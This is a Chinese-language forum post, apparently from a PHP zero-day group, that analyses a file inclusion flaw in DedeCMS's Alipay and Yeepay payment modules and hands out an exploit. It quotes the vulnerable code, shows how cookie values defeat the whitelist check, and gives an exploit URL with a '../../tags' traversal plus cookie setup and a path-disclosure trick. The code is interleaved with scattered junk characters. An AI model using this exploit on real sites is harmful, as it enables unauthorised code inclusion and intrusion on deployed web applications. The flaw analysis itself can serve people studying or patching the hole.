晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
: o% ?& V6 i, i& u
4 W$ w( \- ]. V/ O1 ]" ^( K: j$ X/ g出现漏洞的两个文件为:* t6 e* B, j- ^7 C/ h
Include/payment/alipay.php1 E T" [0 d0 B+ S9 `3 j
Include/payment/yeepay.php
! U8 X" O/ b( w" X漏洞均出现在respond方法里,估计这两个文件是临时工写的。4 h. F7 Z4 K( h% w( D5 ^
6 t) z k1 ^1 m* z7 {
Include/payment/alipay.php6 U9 j; T. _: H7 Z* N
9 z( y3 r* o R9 q. F" c
......
! V: F& X+ N; H6 ]3 X' a a) ~! L function respond()
. C* t' y+ c5 X* t1 s {0 ~% l! d5 w- d6 t4 l
if (!empty($_POST))
% O: t' L) w' ^ {; b/ R/ }+ N3 ?/ Y4 B9 S
foreach($_POST as $key => $data)
e. @6 f8 t2 s {
* ^6 s7 t0 ~3 J5 [6 K8 s% c$ U $_GET[$key] = $data;- A7 z; F0 y# ^) C k6 K) G4 l
}
# T1 L9 A8 {! ? }
$ I8 x* c# [0 d$ ~ /* 引入配置文件 */0 n W; U/ O- @/ p4 n3 g
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';" J5 Y+ ^: L2 a! d; [( \# Z8 |' _
......
# ^. `6 W6 \6 _0 q% }- R" N1 Z
4 q9 N7 `) W6 k- `8 u* {& q3 Z* P' U% i/ ~8 \+ E! i; }" d
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
, @# W5 j* ?; j9 p( ]6 K! h9 x: X' |5 [: I" G3 e f+ x
Include/payment/yeepay.php
; M) F7 k; Q! U/ m' e: E4 h( z1 O' ?
3 L3 G& p3 H+ S
, [# r/ V) j u( Y....... ?" q* X% I5 [8 M
function respond()5 Y6 Y3 p0 H O; A( I9 l# }9 n
{
- k7 a' A9 V% E9 S; F. b 9 H j* ^% m. I/ M6 i% ]) ~* [
/* 引入配置文件 */
0 x* M( F% X5 z5 c w4 o require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
: a/ L& f8 S K0 T) y
5 c: U. F3 M4 b% w2 t* ~ $p1_MerId = trim($payment['yp_account']);4 }( {/ k% `' p# _& V
$merchantKey = trim($payment['yp_key']);
; s4 m, O. ~8 \$ E! h0 ~...... 5 d1 d6 y. A4 p
9 A8 @) u w. K* P/ V1 z. X% U
' _1 J& B# n' F7 u7 D t : Z9 [. P( x& Y
$ M2 b% D$ V" B( |# n9 G
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。2 F P9 G3 h k# E
# K7 N5 y' s$ ^& f, y
这两个方法在plus/carbuyaction.php文件调用。
: O2 |/ [1 T4 c( X- x m
& t8 E2 V! f6 ]9 T* p$ l4 ]plus/carbuyaction.php4 R. T3 k& R6 V5 l0 F
, n1 n3 R J5 A* l6 ?......
0 H: P6 g8 a5 }" S7 B. H* S} else if ($dopost == 'return') {
! ]$ u& K/ e) N- @ $write_list = array('alipay', 'bank', 'cod', 'yeepay');
& y% r+ g6 {! n* x/ b* Z9 |4 ? if (in_array($code, $write_list))0 j1 U* \* Q8 ~0 U% {
{
( D( _, P K* Y$ Y* g6 D require_once DEDEINC.'/payment/'.$code.'.php';0 X& z$ p2 c1 Z
$pay = new $code;
% `9 g7 o; O+ F6 v! E $msg=$pay->respond();
; b- ]% u7 m. ^/ s ShowMsg($msg, "javascript:;", 0, 3000);
4 m5 s% P& P# ~ exit();
, V2 u q4 @5 Q1 K! D* J! R1 X } else {+ w$ l; F6 M& c( q! {& c
exit('Error:File Type Can\'t Recognized!');
$ V9 G+ B' \5 x9 g1 R! J- ]: v% Q) z }. j6 e( D. E% s! @6 w
} j# P$ X& {1 `, M/ {2 Y
......
) x j: ^$ q- k! n
$ q; ]( ^# {) x) }: G `2 g, p! E- b* m% a! O
6 U7 t9 |* L3 h2 L9 j, o/ P5 g ^$ D) R l
% E: J1 B; C# M! e0 ]$ _
9 I( K9 g6 m- T大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
, T6 b2 Y/ }. t: \$ {- G8 F所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
/ Q: F3 S) W6 W% P P: x9 ]+ i& e
8 i) t, U- D2 D5 h* D0 J% f回到include/common.inc.php来看看他的机制。
" O' p" {6 H! }* [, H" o# g2 G
' C& P7 J- U2 R3 v3 l
C6 b9 J( D; m& U
% s( H. H8 k7 ~2 E/ O......
7 w( R/ y: E3 {2 Yforeach(Array('_GET','_POST','_COOKIE') as $_request)' g! d: z0 S; P9 D6 E" p
{
}, `" }, E. C0 ?2 B* O* W foreach($$_request as $_k => $_v) 0 d) _) _" L5 N5 Q7 @7 P
{
/ L; n1 A4 h1 E& [ if($_k == 'nvarname') ${$_k} = $_v;
0 C; i, R. `, a" B( }# _ else ${$_k} = _RunMagicQuotes($_v);; T3 M5 Z ^3 n
}6 _8 [2 j& m: q& m5 l' {5 z! [
}
) R8 d" O. o8 ~8 t......
" i! K7 x; ]5 V' H ]0 u大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:% b. e# k# I# I
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |